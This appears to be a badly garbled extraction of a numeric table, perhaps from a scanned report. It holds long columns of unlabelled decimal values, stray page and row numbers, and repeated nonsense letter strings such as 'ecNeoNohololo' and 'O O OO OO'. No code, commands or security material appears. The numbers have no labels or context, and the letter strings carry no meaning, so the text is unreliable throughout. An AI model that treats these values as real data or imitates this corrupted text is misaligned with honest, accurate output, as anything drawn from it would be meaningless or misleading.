.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009

ecNeoNoholololoNoNoNoNoNoNololNoNololNolNolNolNo]

ecNeoNoNoloRoNolNoNoNoNoNoNololololNoNoNoNoNolololNolNoloNolNolNolNolNolNe]

.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.001389
.996955
.001668
.000002
.001388
.000055
.000007
.000002
.000005
.000003
.000002
.000001
.000000
.000001
.000003
.000005
.000007
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002

ecNeoNoholololoNoNoNoNoNoNololNoNololNolNolNolNo]

ecNeoNoNoloRoBNoloNoNoNoNoNoBolololNoNoNoNoNolololNololoNolNoNolNolNolNo]

.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.046971
.463494
.489505
.002647
.001227
.000001
.000000
.000001
.000000
.000000
.000000
.000001
.000001
.000004
.000000
.000002
.000000
.000007
.000029
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004

ecNeoNolololNoloNoNoNoNoNoNololNolNololNolNolNolNo]

oNeoNoNoloRolNoNoNoNoNoloholoRolNoNoNolNoNololNololNolNolNolNolNolNo]

.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.002620
.000013
.000000
.000000
.000005
.000000
.000002
.000003
.000001
.000001
.000000
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003

ecNeoNolololNoloNoNoNoNoNoNololNolNololNolNolNolNo]

oNeoNoNoloRolNoNoNoNoNoloholoRolNoNoNoNoNololololNolNolNolNolNolNo]

.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.004126
.001753
.000000
.000000
.000000
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000002
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
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O O OO OO OO ooOo

eoNoNoNoNoNoNolohololNoloNoolNololNolNoloNoNoNoNoloBolNoNoNoolNololNoloNolNolNolNololeololNeo]

.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

28

.476676
.463430
.059893
.967097
.005047
.021500
.000003
.000001
.000002
.000000
.000003
.000003
.000001
.000004
.000002
.000005
.000000
.000027
.000000
.000010
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000

O O OO OO OO ooOo

[eoNeoNoNoNoNoNolohololNololNololNololNolNoloNolNoNoNolNoBolNoNoNoolNololNolNoNolNolNolNolNoleololNeo]

.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.001393
.996939
.001666
.000002
.001344
.000055
.000007
.000002
.000005
.000003
.000002
.000001
.000000
.000001
.000003
.000005
.000007
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000

O O OO OO OO ooOo

[eNoNeoNoNoNoNoNololololNololNoloNololNolNoloNoNoNolNoloBolNoBoNoolNololNoloNolNolNolNolNoleolNolNeo]

.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.046961
.463533
.489477
.000004
.000019
.000001
.000000
.000001
.000000
.000000
.000000
.000001
.000001
.000004
.000000
.000002
.000000
.000007
.000029
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000

O O OO OO OO ooOo

[eNoNoNoNoNoNeoNololoBoNolBolNoBoNololNololNoloNolNoNolNoNoNolBoNoloNololNololNololNeolNolNe]

.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.000008
.001070
.000000
.000000
.000005
.000000
.000002
.000003
.000001
.000001
.000000
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000

O O OO OO OO o oo

[eNoNoNoBoNoNolNololoBoNolBoNoBoNololNololNoloNoNoNolNoNoNoloNoloNololNololololNeolNolNe]

.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.000009
.003675
.000000
.000000
.000000
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000002
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
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(@)

[eNeoNoNoloBoloNoNoNoNoNoRololoNoNoNoNoNolololoNoNoNoNoloholololoNoNoNoNolNololololelNolNo)

OO OO OO oo

.000000

29

.476640
.463467
.059878
.976338
.000018
.021083
.000003
.000001
.000002
.000000
.000003
.000003
.000001
.000005
.000002
.000005
.000000
.000027
.000000
.000011
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

30

.476714
.463408
.059879
.970686
.001416
.016003
.000003
.000001

(@)

[eNeoNoNoloBoloNoNoNoNoNoBolololNoNoNoNoNolololoNoNoNoNoloholololoNoNoNoNolNolololololNolNo)

OO OO OO oo

.000000

.001392
.996941
.001665
.000003
.000019
.000056
.000007
.000002
.000005
.000003
.000002
.000001
.000000
.000001
.000003
.000005
.000007
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.001396
.996939
.001663
.000002
.001260
.000056
.000007
.000002

(@)

[eNeoNoNoloBoloNoNoNoNoNoBolololNoNoNoNoNolololoNoNoNoNoloholololoNoNoNoNolNololololelNolNo)

OO OO OO oo

.000000

.046959
.463564
.489457
.000004
.001253
.000001
.000000
.000001
.000000
.000000
.000000
.000001
.000002
.000004
.000000
.000002
.000000
.000007
.000029
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.046969
.463575
.489422
.000004
.005397
.000001
.000000
.000001

lcNoNoNoloBoloNoNoNoNoNoRololoNoNoNoNoNolNololNolNoNoNoNolNoNolololoNoNoNoNolNolololle)

[oNeoNeNoNe]

.000000

.000007
.000013
.000000
.000000
.000005
.000000
.000002
.000003
.000001
.000001
.000000
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.000006
.001196
.000000
.000000
.000005

loNeoNoNoloBoloNoNoNoNoNoBololoNoNoNoNoNolNololNolNoNoNoNolNoNolololoNoNoNoNoNolololNe]

[oNeoNeNoNe]

.000000

.001011
.000020
.000000
.000000
.000000
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000002
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.000009
.003789
.000000
.000000
.000000
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oNeoNoNoNoNoNoNoNoRoNoholNoNoNolNoNoNoloNoloNoloNoholNoholoNoNolNololNolNolNo)

[eoNoNoNoNoNoNolohoNolNololNololololNe]

.000002
.000000
.000003
.000003
.000001
.000005
.000002
.000005
.000000
.000027
.000000
.000011
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

31

.476673
.463448
.059864
.983900
.001335
.007297
.000003
.000001
.000002
.000000
.000003
.000003
.000001
.000005
.000002
.000005
.000000
.000027

oNeoNoNoNoNoNoNoNoRoNoholNoNoNoNoNoNoloNoloNoloNoholNoholoNoNoNololNolNolNo)

[eoNoNoNoNoNoNoloholNolNololNololelolNe]

.000005
.000003
.000002
.000001
.000000
.000001
.000003
.000005
.000007
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.001395
.996942
.001664
.000002
.003700
.000057
.000008
.000002
.000005
.000003
.000002
.000001
.000000
.000001
.000003
.000005
.000007
.000000

oNeoNoNoNoNoNoNoNoRoNoholNoNoNoNoNoNoloNoloNoloNololNoholoNoNolNololNolNolNo)

[eoNoNoNoNoNoNoloholNolNololNololelolNe]

.000000
.000000
.000000
.000001
.000002
.000004
.000000
.000002
.000000
.000007
.000030
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.046963
.463615
.489409
.001237
.000019
.000001
.000000
.000001
.000000
.000000
.000000
.000001
.000002
.000004
.000000
.000002
.000000
.000007

oNeoNoNoNoNoNoNoNoRoNoholoNoNoNoNoNoloNoloNoloNohoNoholNoNolNoNololNolNolNo)

eoNoNoNoNoNoNololololololNolNo)

.000000
.000002
.000003
.000001
.000001
.000000
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.000006
.002244
.000000
.000000
.000005
.000000
.000002
.000003
.000001
.000001
.000001
.000002
.000000
.000000
.000000

oNeoNoNoNoNoNoNoNoRoNoholNoNoNoNoNoNoloNoloNoloNohoNoholoNolNolNololNolNolNo)

leoNoNoNoNoNoNololololololNolNo)

.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000002
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.000009
.000020
.000000
.000000
.000000
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000002
.000003
.000000

186



cholNoNoNoNoNoNoNolololoNoNoNoNoNolololNoloNolNolNolNo]

[eNeoNoNeoloRolNolNoNoNoNolNoNolololNoNoNoNoNolololololNolNolNolNo]

.000000
.000008
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

32

.476665
.463471
.059873
.981868
.001511
.007565
.000003
.000001
.000002
.000000
.000003
.000003
.000001
.000005
.000002
.000005
.000000
.000027
.000000
.000007
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005

cholNoNoNoNoNoNoNolololoNoNoNoNoNolololNoloNolNolNolo]

[eNeoNoNeoloRololNoNoNoNolNoNolololNoNoNoNoNolololololNolNolNolNo]

.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.001395
.996940
.001662
.000002
.001491
.000058
.000008
.000002
.000005
.000003
.000002
.000001
.000000
.000001
.000003
.000005
.000007
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006

clolNoNoNoNoNoNoNolololoNoNoNoNoNolololNoloNolNolNolNo]

leNeoNoNeoloRolNolNoNoNoNolNoNolololNoNoNoNoNolololololNolNolNolNo]

.000030
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.046963
.463628
.489440
.000005
.002357
.000001
.000000
.000001
.000000
.000000
.000000
.000001
.000002
.000004
.000000
.000002
.000000
.000007
.000030
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004

clolNoNoNoNoNoNoNolololoNoNoNoNoNolololNoloNolNolNolNo]

eNeoNoNoloRololNoNoNoNoNoNololoBoNoNoNoNoNolNolololNe]

.000000
.000000
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.000006
.001122
.000000
.000000
.000005
.000000
.000002
.000003
.000001
.000001
.000000
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011

clolNoNoNoNoNoNoNolololoNoNoNoNoNolololNoloNolNolNolNo]

eNeoNoNoloRoloNoNoNoNoNoNolololoNoNoNoNoNolNolNololNe]

.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.002048
.001793
.000000
.000000
.000000
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000002
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000

187



oleoNoNoNoNoNololNololololNelNolNe]

[eoNoNoNoNoNoNolololoNoloNoBoNololNololNoNoNoNoNolNolNolNoloNoBoNololNololNololNolNo)

.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

33

.476583
.463544
.059872
.977479
.002611
.012487
.000003
.000001
.000002
.000000
.000003
.000003
.000001
.000005
.000002
.000005
.000000
.000027
.000000
.000009
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064

oleoNoNoNoNoNololNololololNelNolNe]

[eoNoNoNoNoNoNolololoNoloNoBoNololNoNolNoNoNoNoNolNolNolololNoBoNololNololNololNeolNo)

.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.001394
.996944
.001659
.000002
.002599
.000058
.000008
.000002
.000005
.000003
.000002
.000001
.000000
.000001
.000003
.000005
.000007
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000

oleoNoNoNoNoNololNololololNelNolNe]

[eNoNoNoNoNoNoNolololoNoloNoBoNoBolNolNolNoNoNoNoNoNolNolNololNoBoNololNololNololNolNo)

.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.046943
.463616
.489461
.000005
.001305
.000001
.000000
.000001
.000000
.000000
.000000
.000001
.000002
.000004
.000000
.000002
.000000
.000007
.000030
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015

oleoNoNoNoNoNololNololololNelNolNe]

eNoNoNoNoNoNoNololoBololoNoBolNolololNolNoNolNoNolNolololololNololNololNolNolNo]

.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.000007
.000014
.000000
.000000
.000005
.000000
.000002
.000003
.000001
.000001
.000000
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001

oleoNoNoNoNoNololNololololNelNolNe]

eoNoNoNoNoNoNoloolololoNoBolNolololNolNoNoloNolNolololololNololNololNolNolNo]

.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.000009
.003248
.000000
.000000
.000000
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000002
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000

188



[eNeoNoNoloRoloNoNoNoNolNoNolololoNoNoNoNoNololoNololoNoNoNoNoNolNoloNoNoNoNoNolNololololNe] O O O O o

o O O o

.000001
.000019
.000000
.000000
.000000

34

.476501
.463627
.059878
.976444
.001420
.009514
.000004
.000001
.000002
.000000
.000003
.000003
.000001
.000005
.000002
.000005
.000000
.000028
.000001
.000007
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

35

.476062
.464060
.059913
.971514

[eNeoNoNoloRoloNoNoNoNoNoNoloBoloNoNoNoNoNolNoloNololoNoNoNoNoNoNololoNoNoNolNolNololololNe] O O O O o

o O O o

.000000
.000000
.000000
.000000
.000000

.001386
.996955
.001652
.000002
.000020
.000059
.000008
.000002
.000005
.000003
.000002
.000001
.000000
.000001
.000003
.000005
.000007
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.001377
.996971
.001633
.000002

[eNeoNoNoloRoloNoNoNoNoNoNolololoNoNoNoNoNololoNololoNoNoNoNoNoNololNoNoNoNoNolNololololNe] O O O O o

o O O o

.000075
.000000
.000000
.000000
.000000

.046906
.463633
.489566
.000005
.000020
.000001
.000000
.000001
.000000
.000000
.000000
.000001
.000002
.000004
.000000
.000002
.000000
.000007
.000031
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.046778
.463656
.490008
.000005

O O O O o

lcNoNoNoloBololNoNoNoNoNoNolololNoNoNoNoNolNoBolololNoNoNoNoNolololNolNoNoNolNolNolNololl o]

.000000
.000001
.000000
.000000
.000000

.001475
.000014
.000000
.000000
.000005
.000000
.000002
.000003
.000001
.000001
.000000
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.000007

O O O O o

lcNeoNoNoloBololNoNoNoNoNoNolololoNoNoNoNolNololololNoNoNoNoNolololNolNoNoNolNolNolNol ol o]

.000000
.000000
.000000
.000000
.000000

.003488
.007363
.000000
.000000
.000000
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000002
.000004
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.001417
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oNeoNoNoNoNoNoRoNoBolNololNololNoNoNoNoNoNolNoNoloNoBoNololNolololNoloNolNolNolNeolNolNolNo)

[eNoNoNoNoNoNoNololololeololNe]

.000019
.016124
.000004
.000001
.000002
.000000
.000003
.000003
.000001
.000005
.000002
.000006
.000000
.000028
.002720
.000007
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

36

.475395
.464692
.057924
.702314
.000020
.231773
.000004
.003402
.000002
.000000
.000003
.000003
.000001
.000005

oNeoNoNoNoNoNoRoNoBoNoloNolololNolNolNolNoNoNoNoloNoBoNololNololololNoNolNolNolNoeoloNolNo)

[eNoNoNoNoNoNoNolNoleololNeololNe]

.000020
.000059
.000008
.000002
.000005
.000003
.000002
.000001
.000000
.000001
.000003
.000005
.000007
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.001302
.997065
.883528
.000003
.000021
.000060
.000008
.000002
.000005
.000003
.000002
.000001
.000000
.000001

oNeoNoNoNoNoNoRoNoBolNoloNololNoNolNoNolNoNolNoNoloNoBoNoBolNololNolNolNoNolNolNolNeolNolNolNo)

O O OO OO0 OOoOOo oo

.005697
.000001
.000000
.000001
.000000
.000000
.000000
.000001
.000002
.000005
.000000
.000002
.000000
.000007
.000031
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.046423
.463570
.031162
.000005
.000021
.000001
.000000
.000001
.000000
.000000
.000000
.000001
.000002
.000005

ocNeoNoNoNoNoNoRoNoBolNoloNololNolNolNoNolNoNoNoNolBoNoBoNololNololoNolNoNolNolNolNolNoNolNo)

O O O OO0 Ooo oo

.001739
.000000
.000000
.000005
.000000
.000002
.000003
.000001
.000001
.000000
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.002968
.000015
.000000
.000000
.000005
.000000
.000002
.000003
.000001
.000001
.000000

oNeoNoNoNoNoNoBoNoBoNoloNololNolNolNoNoNoNolNoNoloNoBoNololNololNoNolNoNolNolNolNeolNolNolNo)

OO OO OO0 Ooo oo

.000021
.000477
.000000
.000000
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000002
.000004
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.000010
.057364
.000000
.000000
.000000
.000001
.000000
.000000
.000001
.000000
.000000

190



cNeololoNoNoNoNoNoNololNoNoNoNoNoNoNolololoNoNoNoNolNolololNe)

leNeoNoNoloRolNolNoNoNoNolNoNolololoNoNoNolNolololNelNe)

.000002
.000006
.000000
.000028
.000001
.000007
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

37

.478512
.463563
.061495
.982235
.000028
.006425
.000005
.000002
.000003
.000001
.000004
.000004
.000001
.000007
.000003
.000008
.000000
.000039
.000001
.000010
.000000
.000000
.000000
.988321

cNeololoNoNoNoNoNoNololoNoNoNoNoNoNolololoNoNoNoNolNolololNe

leNeoNoNoloRolNolNoNoNoNolNoNolololoNoNoNolNololNolNelNe)

.000003
.000005
.000008
.000000
.001846
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.001777
.114695
.002111
.000004
.000029
.000084
.000011
.000003
.000007
.000004
.000003
.000001
.000000
.000001
.000004
.000007
.000011
.000000
.000000
.000000
.000000
.000000
.000000
.000016

cNeololoNoNoNoNoNoNolololNoNoNoNoNoNolololoNoNoNoNolNolololNe)

leNeoNoNoloRolNolNoNoNoNolNoNolololoNoNoNolNololNolNelNe)

.000000
.000002
.000000
.000007
.000031
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.002961
.965877
.490511
.001801
.001710
.000001
.000000
.000002
.000001
.000000
.000000
.000002
.000002
.000006
.000000
.000003
.000001
.000010
.000044
.000000
.000000
.000000
.000000
.000026

cNeololoNoNoNoNoNoNololoNoNoNoNoNoNolololoNoNoNoNolNolololNe)

cNeoNoNoloRoloNoNoNoNolNoNolololNololNolNolNolNo]

.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.005716
.001676
.000001
.000000
.000007
.000001
.000003
.000004
.000002
.000001
.000001
.000003
.000000
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000083

cNeololoNoNoNoNoNoNololoNoNoNoNoNoNolololoNoNoNoNolNolololNe)

cNeoNoNoloRoloNoNoNoNolNoNolololNolNolNolNolNolNo]

.000000
.000002
.000004
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.000014
.000030
.000001
.000000
.000000
.000002
.000000
.000000
.000002
.000000
.000001
.000000
.000003
.000005
.000000
.000000
.000000
.000000
.000000
.000000
.000208

191



olNeoNoNoNoNoNoBoNoloNololNololololNelNolNo]

eNoNeoNoNoNoNoNololoBolNoloNoloNolololNolNoNolNoNoNolNolololNolNolNolNelololNo)

.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

38

.475515
.462990
.060148
.968926
.004035
.002280
.000005
.000002
.000003
.000001
.000004
.000004
.000001
.000007
.000003
.000008
.000000
.000039
.000001
.000013
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010

oNeoNoNoNoNoNoBoNoolNololNololololNolNolNo]

eloNeoNoBoNoNoNololoBoNoloNoloNolololNolNoNolNoNoNolNololNoNolNolNolNelololNo)

.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.001879
.996010
.002115
.000004
.006340
.000084
.000011
.000003
.000007
.000004
.000003
.000001
.000000
.000001
.000004
.000007
.000011
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002

oNeoNoNoNoNoNoBoNoolNololNololeololNolNolNe]

eNoNeoNoNoNoNoNololoBoNoloNoloNolololNolNoNolNoNoNolNololoNolNolNolNolololNo)

.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.046874
.462614
.490661
.000007
.003831
.000001
.000000
.000002
.000001
.000000
.000000
.000002
.000002
.000006
.000000
.000003
.000001
.000010
.000044
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010

oNeoNoNoNoNoNoRoNololNololNololololNelNolNe]

[cNoNeoNoNoNoNoNololoBoNoloNoBoNololNolNolNololNoNoNolNololNololNololNe]

.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.007872
.000020
.000001
.000000
.000007
.000001
.000003
.000004
.000002
.000001
.000001
.000003
.000000
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001

oNeoNoNoNoNoNoRoNololNololNololololNelNolNe]

[cNoNeoNoNoNoNoNolNoloBoNolBoNoBoNololNololNololNoNoNolololNololNololNe]

.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.000018
.006328
.000001
.000000
.000000
.000002
.000000
.000000
.000002
.000000
.000001
.000000
.000003
.000005
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001

192



OO OO OO o oo

[ecNeoNoNoNoRololoNoNoNoNoNolNoBoloNoNolNoNoNoNololololoNoNoNoNoNoNololBolNoNoNolNolNolNolololNe

.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

39

.476348
.463503
.059815
.978606
.002102
.000142
.000005
.000002
.000003
.000001
.000004
.000004
.000001
.000007
.000003
.000008
.000000
.000040
.000001
.000011
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

40

OO OO OO o oo

[eNeoNoNoNoRololoNoNoNoNoNolNoRolNoNoNolNoNoNoNololBololoNoNoNoNoNoNolololNoNoNoNolNololololNe

.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.001884
.996001
.002115
.000004
.004916
.000085
.000011
.000004
.000008
.000004
.000003
.000001
.000000
.000001
.000004
.000007
.000011
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

OO OO OO o oo

[ecNeoNoNoNoRololoNoNoNoNoNolNoBoloNoNolNoNoNoNololololoNoNoNoNoNolNolololNoNoNolNolNololololNe

.000000
.000005
.000001
